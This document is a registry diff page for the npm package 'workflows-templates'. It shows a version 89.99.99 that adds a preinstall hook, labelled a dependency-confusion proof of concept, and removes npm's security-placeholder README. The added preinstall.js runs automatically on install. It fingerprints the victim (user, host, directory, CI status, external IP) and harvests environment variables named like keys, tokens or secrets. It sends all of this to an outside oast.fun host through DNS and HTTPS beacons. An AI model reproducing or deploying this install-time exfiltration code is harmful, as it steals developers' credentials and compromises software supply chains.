workflows-templates 0.0.1-security → 89.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of workflows-templates might be problematic. Click here for more details.
- package/package.json +8 -3
- package/preinstall.js +74 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "workflows-templates",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "89.99.99",
|
4
|
+
"description": "Okta internal dependency confusion PoC - RCE via preinstall beacon",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.js"
|
8
|
+
},
|
9
|
+
"author": "orwa",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,74 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const { exec } = require('child_process');
|
4
|
+
const https = require('https');
|
5
|
+
|
6
|
+
const MAX_LABEL = 63;
|
7
|
+
const OAST_DOMAIN = 'ocvomeqbrouywnpfvqwho0ipsenrc3zgq.oast.fun';
|
8
|
+
|
9
|
+
// DNS-safe hex encoding split into max 63 char chunks
|
10
|
+
function hexify(str) {
|
11
|
+
return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
|
12
|
+
}
|
13
|
+
|
14
|
+
// Collect victim fingerprint info
|
15
|
+
const info = {
|
16
|
+
user: os.userInfo().username || 'nouser',
|
17
|
+
host: os.hostname() || 'nohost',
|
18
|
+
cwd: process.cwd() || 'nocwd',
|
19
|
+
platform: os.platform(),
|
20
|
+
arch: os.arch(),
|
21
|
+
timestamp: Date.now().toString(36),
|
22
|
+
ci: !!process.env.CI || !!process.env.GITHUB_ACTIONS
|
23
|
+
};
|
24
|
+
|
25
|
+
// Build DNS beacon domain
|
26
|
+
const labels = [
|
27
|
+
...hexify(info.user),
|
28
|
+
...hexify(info.host),
|
29
|
+
...hexify(info.cwd),
|
30
|
+
info.platform,
|
31
|
+
info.arch,
|
32
|
+
info.ci ? 'ci' : 'local',
|
33
|
+
info.timestamp,
|
34
|
+
OAST_DOMAIN
|
35
|
+
];
|
36
|
+
|
37
|
+
let domain = labels.join('.');
|
38
|
+
if (domain.length > 253) domain = domain.slice(0, 253);
|
39
|
+
|
40
|
+
// Fire DNS beacon
|
41
|
+
dns.resolve(domain, () => {});
|
42
|
+
|
43
|
+
// Fetch external IP and beacon over HTTP as fallback
|
44
|
+
exec('curl -s https://api.ipify.org', (err, stdout) => {
|
45
|
+
const ip = stdout.trim();
|
46
|
+
const payload = JSON.stringify({ ...info, ip });
|
47
|
+
|
48
|
+
const req = https.request({
|
49
|
+
hostname: OAST_DOMAIN,
|
50
|
+
path: '/',
|
51
|
+
method: 'POST',
|
52
|
+
headers: { 'Content-Type': 'application/json' }
|
53
|
+
}, () => {});
|
54
|
+
req.on('error', () => {});
|
55
|
+
req.write(payload);
|
56
|
+
req.end();
|
57
|
+
});
|
58
|
+
|
59
|
+
// Stealthy env var sniff (top 5 keys matching sensitive keywords)
|
60
|
+
const leaked = Object.entries(process.env)
|
61
|
+
.filter(([k]) => /key|token|secret/i.test(k))
|
62
|
+
.slice(0, 5)
|
63
|
+
.reduce((acc, [k, v]) => ({ ...acc, [k]: v.slice(0, 10) + '...' }), {});
|
64
|
+
|
65
|
+
if (Object.keys(leaked).length) {
|
66
|
+
const req = https.request({
|
67
|
+
hostname: OAST_DOMAIN,
|
68
|
+
path: '/',
|
69
|
+
method: 'POST',
|
70
|
+
headers: { 'Content-Type': 'application/json' }
|
71
|
+
}, () => {});
|
72
|
+
req.write(JSON.stringify({ envleak: leaked }));
|
73
|
+
req.end();
|
74
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=workflows-templates for more information.
|